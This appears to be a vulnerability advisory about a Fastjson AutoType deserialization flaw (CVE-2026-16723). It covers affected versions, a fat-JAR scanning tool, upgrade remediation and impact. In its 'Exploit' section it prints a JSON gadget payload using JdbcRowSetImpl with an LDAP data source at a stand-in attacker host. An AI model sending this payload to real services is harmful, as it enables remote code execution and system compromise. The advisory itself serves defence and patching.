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CVE-2026-16723 is a critical remote code execution vulnerability impacting Alibaba Fastjson versions 1.2.68 through 1.2.83, as well as fastjson2 variants up to version 2.0.62. The core security flaw arises from insecure polymorphic deserialization and inherent bypasses within the AutoType mechanism. When an application processes untrusted JSON streams, Fastjson can dynamically resolve class names and instantiate arbitrary Java objects present on the application classpath. Attackers leverage malicious payloads containing gadget chains to trigger automatic constructor and setter execution without strict whitelisting. Because Fastjson is frequently bundled as a hidden transitive dependency inside nested archives such as Spring Boot fat-JARs or vendor SDKs, applications often run vulnerable instances without developer awareness. Although public tracking initially assumed the 1.x branch was completely abandoned without patches, an official silent release for version 1.2.84 was published on July 29, 2026, strengthening type validation and effectively mitigating the vulnerability for legacy deployments.
DailyCVE Form:
Platform: Alibaba Fastjson
Version: 1.2.68-1.2.83
Vulnerability: Remote Code Execution
Severity: Critical
date: 2026-07-29
Prediction: Already officially patched
What Undercode Say:
Analysis shows that nested transitive dependencies remain hidden inside packaged binaries and standard dependency trees. Specialized scanning utilities like fastjson-check can inspect fat-JARs and vendor SDKs recursively without requiring source code.
java -jar fastjson-check.jar ./myapp.jar java -jar fastjson-check.jar /opt/apps --json
The tool incorporates CI/CD gating integration utilizing precise exit codes where exit code 0 indicates a clean scan, code 1 signifies detected critical or high-risk vulnerabilities, and code 4 identifies unreadable files. Upgrading legacy projects to version 1.2.84 is the most cost-effective remediation path.
Exploit: (Educational Purposes!):
Attackers supply specially crafted JSON input vectors that exploit the AutoType feature to instantiate hazardous classes and trigger remote lookups.
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://attacker-server/Exploit"
}
When parsed by vulnerable versions of Fastjson, the library resolves the specified class and invokes remote data sources, resulting in arbitrary command execution under application privileges.
Protection: from this CVE
Upgrade Fastjson immediately to version 1.2.84 or later for the 1.x branch, or version 2.0.63 and above for fastjson2. Integrate automated scanning scripts into CI/CD pipelines to detect hidden embedded instances of vulnerable libraries across all build environments.
Impact:
Successful exploitation grants attackers full remote code execution capabilities, enabling complete system compromise, unauthorized data access, and execution of arbitrary administrative commands with the underlying application’s permissions.
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Sources:
Reported By: github.com
Extra Source Hub:
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